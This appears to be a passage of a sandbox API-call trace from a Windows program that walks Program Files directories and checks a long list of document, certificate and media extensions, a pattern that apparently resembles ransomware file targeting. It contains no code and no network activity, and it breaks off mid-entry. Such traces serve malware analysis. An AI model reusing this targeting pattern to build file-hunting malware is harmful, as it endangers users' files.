[0145.750] lstrlenW (lpString=".opt") returned 4 [0145.750] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0145.750] lstrlenW (lpString=".oqy") returned 4 [0145.750] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0145.750] lstrlenW (lpString=".orf") returned 4 [0145.750] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0145.750] lstrlenW (lpString=".p12") returned 4 [0145.750] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0145.750] lstrlenW (lpString=".p7b") returned 4 [0145.750] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0145.750] lstrlenW (lpString=".p7c") returned 4 [0145.751] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0145.751] lstrlenW (lpString=".pam") returned 4 [0145.751] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0145.751] lstrlenW (lpString=".pbm") returned 4 [0145.751] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0145.751] lstrlenW (lpString=".pct") returned 4 [0145.751] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0145.751] lstrlenW (lpString=".pcx") returned 4 [0145.751] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0145.751] lstrlenW (lpString=".pdd") returned 4 [0145.751] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0145.751] lstrlenW (lpString=".pdf") returned 4 [0145.751] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0145.751] lstrlenW (lpString=".pdp") returned 4 [0145.751] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0145.751] lstrlenW (lpString=".pef") returned 4 [0145.751] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0145.751] lstrlenW (lpString=".pem") returned 4 [0145.751] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0145.751] lstrlenW (lpString=".pff") returned 4 [0145.751] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0145.751] lstrlenW (lpString=".pfm") returned 4 [0145.751] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0145.751] lstrlenW (lpString=".pfx") returned 4 [0145.751] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0145.751] lstrlenW (lpString=".pgm") returned 4 [0145.751] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0145.751] lstrlenW (lpString=".php") returned 4 [0145.751] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0145.752] lstrlenW (lpString=".php3") returned 5 [0145.752] lstrcmpiW (lpString1=".php3", lpString2="l.mui") returned -1 [0145.752] lstrlenW (lpString=".php4") returned 5 [0145.752] lstrcmpiW (lpString1=".php4", lpString2="l.mui") returned -1 [0145.752] lstrlenW (lpString=".php5") returned 5 [0145.752] lstrcmpiW (lpString1=".php5", lpString2="l.mui") returned -1 [0145.752] lstrlenW (lpString=".phtml") returned 6 [0145.752] lstrcmpiW (lpString1=".phtml", lpString2="ll.mui") returned -1 [0145.752] lstrlenW (lpString=".pict") returned 5 [0145.752] lstrcmpiW (lpString1=".pict", lpString2="l.mui") returned -1 [0145.752] lstrlenW (lpString=".pl") returned 3 [0145.752] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0145.752] lstrlenW (lpString=".pls") returned 4 [0145.752] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0145.752] lstrlenW (lpString=".pm") returned 3 [0145.752] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0145.752] lstrlenW (lpString=".png") returned 4 [0145.752] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0145.752] lstrlenW (lpString=".pnm") returned 4 [0145.752] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0145.752] lstrlenW (lpString=".pot") returned 4 [0145.752] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0145.752] lstrlenW (lpString=".potm") returned 5 [0145.752] lstrcmpiW (lpString1=".potm", lpString2="l.mui") returned -1 [0145.752] lstrlenW (lpString=".potx") returned 5 [0145.752] lstrcmpiW (lpString1=".potx", lpString2="l.mui") returned -1 [0145.752] lstrlenW (lpString=".ppa") returned 4 [0145.752] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0145.752] lstrlenW (lpString=".ppam") returned 5 [0145.752] lstrcmpiW (lpString1=".ppam", lpString2="l.mui") returned -1 [0145.752] lstrlenW (lpString=".ppm") returned 4 [0145.752] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0145.753] lstrlenW (lpString=".pps") returned 4 [0145.753] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0145.753] lstrlenW (lpString=".ppsm") returned 5 [0145.753] lstrcmpiW (lpString1=".ppsm", lpString2="l.mui") returned -1 [0145.753] lstrlenW (lpString=".ppt") returned 4 [0145.753] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0145.753] lstrlenW (lpString=".pptm") returned 5 [0145.753] lstrcmpiW (lpString1=".pptm", lpString2="l.mui") returned -1 [0145.753] lstrlenW (lpString=".pptx") returned 5 [0145.753] lstrcmpiW (lpString1=".pptx", lpString2="l.mui") returned -1 [0145.753] lstrlenW (lpString=".prn") returned 4 [0145.753] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0145.753] lstrlenW (lpString=".ps") returned 3 [0145.753] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0145.753] lstrlenW (lpString=".psb") returned 4 [0145.753] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0145.753] lstrlenW (lpString=".psd") returned 4 [0145.753] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0145.753] lstrlenW (lpString=".pst") returned 4 [0145.753] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0145.753] lstrlenW (lpString=".ptx") returned 4 [0145.753] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0145.753] lstrlenW (lpString=".pub") returned 4 [0145.753] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0145.753] lstrlenW (lpString=".pwm") returned 4 [0145.753] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0145.753] lstrlenW (lpString=".pxr") returned 4 [0145.753] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0145.753] lstrlenW (lpString=".py") returned 3 [0145.753] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0145.753] lstrlenW (lpString=".qt") returned 3 [0145.753] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0145.753] lstrlenW (lpString=".r3d") returned 4 [0145.754] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0145.754] FindClose (in: hFindFile=0x4191180 | out: hFindFile=0x4191180) returned 1 [0145.754] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4192068 | out: hHeap=0x300000) returned 1 [0145.754] FindNextFileW (in: hFindFile=0x4191080, lpFindFileData=0x377f808 | out: lpFindFileData=0x377f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x150a97a1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x150a97a1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x33b368d0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpAsDesc.dll", cAlternateFileName="")) returned 1 [0145.755] FindClose (in: hFindFile=0x4191080 | out: hFindFile=0x4191080) returned 1 [0145.755] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4202798 | out: hHeap=0x300000) returned 1 [0145.755] FindNextFileW (in: hFindFile=0x3f58c0, lpFindFileData=0x377fa84 | out: lpFindFileData=0x377fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Journal", cAlternateFileName="WI0FCF~1")) returned 1 [0145.755] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal\\*", lpFindFileData=0x377f808 | out: lpFindFileData=0x377f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191080 [0145.755] FindNextFileW (in: hFindFile=0x4191080, lpFindFileData=0x377f808 | out: lpFindFileData=0x377f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.755] FindNextFileW (in: hFindFile=0x4191080, lpFindFileData=0x377f808 | out: lpFindFileData=0x377f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa35bb41, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0145.755] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal\\en-US\\*", lpFindFileData=0x377f58c | out: lpFindFileData=0x377f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa35bb41, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191180 [0145.756] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x377f58c | out: lpFindFileData=0x377f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa35bb41, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.756] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x377f58c | out: lpFindFileData=0x377f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="JNTFiltr.dll.mui", cAlternateFileName="")) returned 1 [0145.757] FindClose (in: hFindFile=0x4191180 | out: hFindFile=0x4191180) returned 1 [0145.757] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4192068 | out: hHeap=0x300000) returned 1 [0145.757] FindNextFileW (in: hFindFile=0x4191080, lpFindFileData=0x377f808 | out: lpFindFileData=0x377f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c0db86, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x88c0db86, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x29c54b90, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xe3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkSeg.dll", cAlternateFileName="")) returned 1 [0145.758] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates\\*", lpFindFileData=0x377f58c | out: lpFindFileData=0x377f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e4e551f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191180 [0145.759] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x377f58c | out: lpFindFileData=0x377f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e4e551f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.759] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x377f58c | out: lpFindFileData=0x377f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5570eaa, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5570eaa, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x46a6d3e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x155e, dwReserved0=0x0, dwReserved1=0x0, cFileName="blank.jtp", cAlternateFileName="")) returned 1 [0147.712] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\*", lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191100 [0147.712] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.712] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.CAT", cAlternateFileName="ACCESS~1.CAT")) returned 1 [0147.713] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\*", lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0147.714] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.714] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9586, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0147.714] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0147.714] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4180058 | out: hHeap=0x300000) returned 1 [0147.714] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f498460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.CAT", cAlternateFileName="")) returned 1 [0147.714] FindClose (in: hFindFile=0x4191100 | out: hFindFile=0x4191100) returned 1 [0147.714] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4170050 | out: hHeap=0x300000) returned 1 [0147.714] FindNextFileW (in: hFindFile=0x41913c0, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832ee480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs_CZ", cAlternateFileName="")) returned 1 [0147.714] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\*", lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832ee480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191100 [0147.718] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832ee480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.718] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.CZE", cAlternateFileName="ACCESS~1.CZE")) returned 1 [0147.719] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services\\*", lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f971c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0147.720] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f971c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.720] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9342, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0147.720] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0147.721] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4180058 | out: hHeap=0x300000) returned 1 [0147.721] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0106a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.CZE", cAlternateFileName="")) returned 1 [0147.721] FindClose (in: hFindFile=0x4191100 | out: hFindFile=0x4191100) returned 1 [0147.721] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4170050 | out: hHeap=0x300000) returned 1 [0147.721] FindNextFileW (in: hFindFile=0x41913c0, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da_DK", cAlternateFileName="")) returned 1 [0147.721] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\*", lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0147.723] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.723] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa600, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.DAN", cAlternateFileName="ACCESS~1.DAN")) returned 1 [0147.724] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services\\*", lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f971c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191700 [0147.724] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f971c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.724] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: 